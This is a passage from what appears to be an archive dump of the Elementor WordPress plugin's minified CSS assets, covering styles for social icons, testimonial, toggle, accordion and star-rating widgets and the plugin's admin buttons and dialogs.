#1f2124; } #e-responsive-bar__center, #e-responsive-bar__end, #e-responsive-bar-scale, #e-responsive-bar-switcher { display: flex; justify-content: center; align-items: center; font-size: 13px; background-color: #1f2124; padding: 2px 0; } #e-responsive-bar__end { justify-self: end; } @media (min-width: 1400px) { #e-responsive-bar { grid-template-columns: 1fr auto 1fr; } #e-responsive-bar::before { content: ""; } } #e-responsive-bar__close-button, #e-responsive-bar__settings-button { width: 22px; height: 22px; border-radius: 3px; margin: 7px 5px; font-size: 16px; } #e-responsive-bar__size-inputs-wrapper { display: flex; align-items: center; margin-inline-end: 8px; color: #BABFC5; } #e-responsive-bar-switcher { padding: 0 20px; } #e-responsive-bar-scale { padding: 0 20px; } #e-responsive-bar-scale__value-wrapper { margin: 0 14px; min-width: 32px; text-align: center; } #e-responsive-bar-scale__plus, #e-responsive-bar-scale__minus, #e-responsive-bar-scale__reset { cursor: pointer; width: 20px; height: 20px; display: flex; align-items: center; justify-content: center; border-radius: 3px; transition: all 0.3s; } #e-responsive-bar-scale__plus:hover, #e-responsive-bar-scale__minus:hover, #e-responsive-bar-scale__reset:hover { color: #F1F2F3; background-color: #3f444b; } #e-responsive-bar-scale__minus:before { content: ""; display: block; width: 13px; height: 2px; background-color: #BABFC5; border-radius: 3px; } #e-responsive-bar-scale__minus:hover:before { background-color: #F1F2F3; } #e-responsive-bar-scale__reset { margin: 0 8px; } /*# sourceMappingURL=responsive-bar.css.map */assets/css/widget-social-icons.min.css000064400000011413147206604650014010 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-social-icons.elementor-grid-0 .elementor-widget-container,.elementor-widget-social-icons.elementor-grid-mobile-0 .elementor-widget-container,.elementor-widget-social-icons.elementor-grid-tablet-0 .elementor-widget-container{line-height:1;font-size:0}.elementor-widget-social-icons:not(.elementor-grid-0):not(.elementor-grid-tablet-0):not(.elementor-grid-mobile-0) .elementor-grid{display:inline-grid}.elementor-widget-social-icons .elementor-grid{grid-column-gap:var(--grid-column-gap,5px);grid-row-gap:var(--grid-row-gap,5px);grid-template-columns:var(--grid-template-columns);justify-content:var(--justify-content,center);justify-items:var(--justify-content,center)}.elementor-icon.elementor-social-icon{font-size:var(--icon-size,25px);line-height:var(--icon-size,25px);width:calc(var(--icon-size, 25px) + 2 * var(--icon-padding, .5em));height:calc(var(--icon-size, 25px) + 2 * var(--icon-padding, .5em))}.elementor-social-icon{--e-social-icon-icon-color:#fff;display:inline-flex;background-color:#69727d;align-items:center;justify-content:center;text-align:center;cursor:pointer}.elementor-social-icon i{color:var(--e-social-icon-icon-color)}.elementor-social-icon svg{fill:var(--e-social-icon-icon-color)}.elementor-social-icon:last-child{margin:0}.elementor-social-icon:hover{opacity:.9;color:#fff}.elementor-social-icon-android{background-color:#a4c639}.elementor-social-icon-apple{background-color:#999}.elementor-social-icon-behance{background-color:#1769ff}.elementor-social-icon-bitbucket{background-color:#205081}.elementor-social-icon-codepen{background-color:#000}.elementor-social-icon-delicious{background-color:#39f}.elementor-social-icon-deviantart{background-color:#05cc47}.elementor-social-icon-digg{background-color:#005be2}.elementor-social-icon-dribbble{background-color:#ea4c89}.elementor-social-icon-elementor{background-color:#d30c5c}.elementor-social-icon-envelope{background-color:#ea4335}.elementor-social-icon-facebook,.elementor-social-icon-facebook-f{background-color:#3b5998}.elementor-social-icon-flickr{background-color:#0063dc}.elementor-social-icon-foursquare{background-color:#2d5be3}.elementor-social-icon-free-code-camp,.elementor-social-icon-freecodecamp{background-color:#006400}.elementor-social-icon-github{background-color:#333}.elementor-social-icon-gitlab{background-color:#e24329}.elementor-social-icon-globe{background-color:#69727d}.elementor-social-icon-google-plus,.elementor-social-icon-google-plus-g{background-color:#dd4b39}.elementor-social-icon-houzz{background-color:#7ac142}.elementor-social-icon-instagram{background-color:#262626}.elementor-social-icon-jsfiddle{background-color:#487aa2}.elementor-social-icon-link{background-color:#818a91}.elementor-social-icon-linkedin,.elementor-social-icon-linkedin-in{background-color:#0077b5}.elementor-social-icon-medium{background-color:#00ab6b}.elementor-social-icon-meetup{background-color:#ec1c40}.elementor-social-icon-mixcloud{background-color:#273a4b}.elementor-social-icon-odnoklassniki{background-color:#f4731c}.elementor-social-icon-pinterest{background-color:#bd081c}.elementor-social-icon-product-hunt{background-color:#da552f}.elementor-social-icon-reddit{background-color:#ff4500}.elementor-social-icon-rss{background-color:#f26522}.elementor-social-icon-shopping-cart{background-color:#4caf50}.elementor-social-icon-skype{background-color:#00aff0}.elementor-social-icon-slideshare{background-color:#0077b5}.elementor-social-icon-snapchat{background-color:#fffc00}.elementor-social-icon-soundcloud{background-color:#f80}.elementor-social-icon-spotify{background-color:#2ebd59}.elementor-social-icon-stack-overflow{background-color:#fe7a15}.elementor-social-icon-steam{background-color:#00adee}.elementor-social-icon-stumbleupon{background-color:#eb4924}.elementor-social-icon-telegram{background-color:#2ca5e0}.elementor-social-icon-threads{background-color:#000}.elementor-social-icon-thumb-tack{background-color:#1aa1d8}.elementor-social-icon-tripadvisor{background-color:#589442}.elementor-social-icon-tumblr{background-color:#35465c}.elementor-social-icon-twitch{background-color:#6441a5}.elementor-social-icon-twitter{background-color:#1da1f2}.elementor-social-icon-viber{background-color:#665cac}.elementor-social-icon-vimeo{background-color:#1ab7ea}.elementor-social-icon-vk{background-color:#45668e}.elementor-social-icon-weibo{background-color:#dd2430}.elementor-social-icon-weixin{background-color:#31a918}.elementor-social-icon-whatsapp{background-color:#25d366}.elementor-social-icon-wordpress{background-color:#21759b}.elementor-social-icon-x-twitter{background-color:#000}.elementor-social-icon-xing{background-color:#026466}.elementor-social-icon-yelp{background-color:#af0606}.elementor-social-icon-youtube{background-color:#cd201f}.elementor-social-icon-500px{background-color:#0099e5}assets/css/widget-testimonial-rtl.min.css000064400000003220147206604650014551 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-testimonial-wrapper{overflow:hidden;text-align:center}.elementor-testimonial-wrapper .elementor-testimonial-content{font-size:1.3em;margin-bottom:20px}.elementor-testimonial-wrapper .elementor-testimonial-name{line-height:1.5;display:block}.elementor-testimonial-wrapper .elementor-testimonial-job{font-size:.85em;display:block}.elementor-testimonial-wrapper .elementor-testimonial-meta{width:100%;line-height:1}.elementor-testimonial-wrapper .elementor-testimonial-meta-inner{display:inline-block}.elementor-testimonial-wrapper .elementor-testimonial-meta .elementor-testimonial-details,.elementor-testimonial-wrapper .elementor-testimonial-meta .elementor-testimonial-image{display:table-cell;vertical-align:middle}.elementor-testimonial-wrapper .elementor-testimonial-meta .elementor-testimonial-image img{width:60px;height:60px;border-radius:50%;-o-object-fit:cover;object-fit:cover;max-width:none}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-aside .elementor-testimonial-image{padding-inline-end:15px}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-aside .elementor-testimonial-details{text-align:start}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-top .elementor-testimonial-details,.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-top .elementor-testimonial-image{display:block}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-top .elementor-testimonial-image{margin-bottom:20px}assets/css/widget-toggle-rtl.min.css000064400000003003147206604650013501 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-toggle{text-align:start}.elementor-toggle .elementor-tab-title{font-weight:700;line-height:1;margin:0;padding:15px;border-bottom:1px solid #d5d8dc;cursor:pointer;outline:none}.elementor-toggle .elementor-tab-title .elementor-toggle-icon{display:inline-block;width:1em}.elementor-toggle .elementor-tab-title .elementor-toggle-icon svg{margin-inline-start:-5px;width:1em;height:1em}.elementor-toggle .elementor-tab-title .elementor-toggle-icon.elementor-toggle-icon-right{float:right;text-align:right}.elementor-toggle .elementor-tab-title .elementor-toggle-icon.elementor-toggle-icon-left{float:left;text-align:left}.elementor-toggle .elementor-tab-title .elementor-toggle-icon .elementor-toggle-icon-closed{display:block}.elementor-toggle .elementor-tab-title .elementor-toggle-icon .elementor-toggle-icon-opened{display:none}.elementor-toggle .elementor-tab-title.elementor-active{border-bottom:none}.elementor-toggle .elementor-tab-title.elementor-active .elementor-toggle-icon-closed{display:none}.elementor-toggle .elementor-tab-title.elementor-active .elementor-toggle-icon-opened{display:block}.elementor-toggle .elementor-tab-content{padding:15px;border-bottom:1px solid #d5d8dc;display:none}@media (max-width:767px){.elementor-toggle .elementor-tab-title{padding:12px}.elementor-toggle .elementor-tab-content{padding:12px 10px}}.e-con-inner>.elementor-widget-toggle,.e-con>.elementor-widget-toggle{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}assets/css/widget-accordion.min.css000064400000003301147206604650013363 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-accordion{text-align:start}.elementor-accordion .elementor-accordion-item{border:1px solid #d5d8dc}.elementor-accordion .elementor-accordion-item+.elementor-accordion-item{border-top:none}.elementor-accordion .elementor-tab-title{margin:0;padding:15px 20px;font-weight:700;line-height:1;cursor:pointer;outline:none}.elementor-accordion .elementor-tab-title .elementor-accordion-icon{display:inline-block;width:1.5em}.elementor-accordion .elementor-tab-title .elementor-accordion-icon svg{width:1em;height:1em}.elementor-accordion .elementor-tab-title .elementor-accordion-icon.elementor-accordion-icon-right{float:right;text-align:right}.elementor-accordion .elementor-tab-title .elementor-accordion-icon.elementor-accordion-icon-left{float:left;text-align:left}.elementor-accordion .elementor-tab-title .elementor-accordion-icon .elementor-accordion-icon-closed{display:block}.elementor-accordion .elementor-tab-title .elementor-accordion-icon .elementor-accordion-icon-opened,.elementor-accordion .elementor-tab-title.elementor-active .elementor-accordion-icon-closed{display:none}.elementor-accordion .elementor-tab-title.elementor-active .elementor-accordion-icon-opened{display:block}.elementor-accordion .elementor-tab-content{display:none;padding:15px 20px;border-top:1px solid #d5d8dc}@media (max-width:767px){.elementor-accordion .elementor-tab-title{padding:12px 15px}.elementor-accordion .elementor-tab-title .elementor-accordion-icon{width:1.2em}.elementor-accordion .elementor-tab-content{padding:7px 15px}}.e-con-inner>.elementor-widget-accordion,.e-con>.elementor-widget-accordion{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}assets/css/widget-star-rating.min.css000064400000005217147206604650013665 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ @charset "UTF-8";.elementor-star-rating{color:#ccd6df;font-family:eicons;display:inline-block}.elementor-star-rating i{display:inline-block;position:relative;font-style:normal;cursor:default}.elementor-star-rating i:before{content:"\e934";display:block;font-size:inherit;font-family:inherit;position:absolute;overflow:hidden;color:#f0ad4e;top:0;left:0}.elementor-star-rating .elementor-star-empty:before{content:none}.elementor-star-rating .elementor-star-1:before{width:10%}.elementor-star-rating .elementor-star-2:before{width:20%}.elementor-star-rating .elementor-star-3:before{width:30%}.elementor-star-rating .elementor-star-4:before{width:40%}.elementor-star-rating .elementor-star-5:before{width:50%}.elementor-star-rating .elementor-star-6:before{width:60%}.elementor-star-rating .elementor-star-7:before{width:70%}.elementor-star-rating .elementor-star-8:before{width:80%}.elementor-star-rating .elementor-star-9:before{width:90%}.elementor-star-rating__wrapper{display:flex;align-items:center}.elementor-star-rating__title{margin-inline-end:10px}.elementor-star-rating--align-right .elementor-star-rating__wrapper{text-align:right;justify-content:flex-end}.elementor-star-rating--align-left .elementor-star-rating__wrapper{text-align:left;justify-content:flex-start}.elementor-star-rating--align-center .elementor-star-rating__wrapper{text-align:center;justify-content:center}.elementor-star-rating--align-justify .elementor-star-rating__title{margin-inline-end:auto}@media (max-width:1024px){.elementor-star-rating-tablet--align-right .elementor-star-rating__wrapper{text-align:right;justify-content:flex-end}.elementor-star-rating-tablet--align-left .elementor-star-rating__wrapper{text-align:left;justify-content:flex-start}.elementor-star-rating-tablet--align-center .elementor-star-rating__wrapper{text-align:center;justify-content:center}.elementor-star-rating-tablet--align-justify .elementor-star-rating__title{margin-inline-end:auto}}@media (max-width:767px){.elementor-star-rating-mobile--align-right .elementor-star-rating__wrapper{text-align:right;justify-content:flex-end}.elementor-star-rating-mobile--align-left .elementor-star-rating__wrapper{text-align:left;justify-content:flex-start}.elementor-star-rating-mobile--align-center .elementor-star-rating__wrapper{text-align:center;justify-content:center}.elementor-star-rating-mobile--align-justify .elementor-star-rating__title{margin-inline-end:auto}}.last-star{letter-spacing:0}.elementor--star-style-star_unicode .elementor-star-rating{font-family:Arial,Helvetica,sans-serif}.elementor--star-style-star_unicode .elementor-star-rating i:not(.elementor-star-empty):before{content:"★"}assets/css/admin-rtl.min.css000064400000400617147206604650012043 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #elementor-deactivate-feedback-modal .dialog-skip,#elementor-deactivate-feedback-modal .dialog-submit,.e-btn,.elementor-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}#elementor-deactivate-feedback-modal .dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-submit:hover,.e-btn:hover,.elementor-button:hover{border:none}#elementor-deactivate-feedback-modal .dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-submit:hover,.e-btn:focus,.e-btn:hover,.elementor-button:focus,.elementor-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}#elementor-deactivate-feedback-modal .dialog-skip:active,#elementor-deactivate-feedback-modal .dialog-submit:active,.e-btn:active,.elementor-button:active{background-color:var(--e-a-btn-bg-active)}#elementor-deactivate-feedback-modal .dialog-skip:not([disabled]),#elementor-deactivate-feedback-modal .dialog-submit:not([disabled]),.e-btn:not([disabled]),.elementor-button:not([disabled]){cursor:pointer}#elementor-deactivate-feedback-modal .dialog-skip:disabled,#elementor-deactivate-feedback-modal .dialog-submit:disabled,.e-btn:disabled,.elementor-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}#elementor-deactivate-feedback-modal .dialog-skip:not(.elementor-button-state) .elementor-state-icon,#elementor-deactivate-feedback-modal .dialog-submit:not(.elementor-button-state) .elementor-state-icon,.e-btn:not(.elementor-button-state) .elementor-state-icon,.elementor-button:not(.elementor-button-state) .elementor-state-icon{display:none}#elementor-deactivate-feedback-modal .dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.e-btn.e-btn-txt,.elementor-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}#elementor-deactivate-feedback-modal .dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.e-btn.e-btn-txt:focus,.e-btn.e-btn-txt:hover,.elementor-button.e-btn-txt:focus,.elementor-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}#elementor-deactivate-feedback-modal .dialog-skip:disabled,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:disabled,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.e-btn.e-btn-txt:disabled,.elementor-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}#elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-skip,#elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-submit,.e-btn.e-btn-txt-border,.elementor-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}#elementor-deactivate-feedback-modal .e-success.dialog-skip,#elementor-deactivate-feedback-modal .e-success.dialog-submit,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit,.e-btn.e-success,.e-btn.elementor-button-success,.elementor-button.e-success,.elementor-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}#elementor-deactivate-feedback-modal .e-success.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-success.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-success.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-success.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:hover,.e-btn.e-success:focus,.e-btn.e-success:hover,.e-btn.elementor-button-success:focus,.e-btn.elementor-button-success:hover,.elementor-button.e-success:focus,.elementor-button.e-success:hover,.elementor-button.elementor-button-success:focus,.elementor-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}#elementor-deactivate-feedback-modal .dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.e-btn.e-primary,.elementor-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.e-btn.e-primary:focus,.e-btn.e-primary:hover,.elementor-button.e-primary:focus,.elementor-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.e-btn.e-primary.e-btn-txt,.elementor-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}#elementor-deactivate-feedback-modal 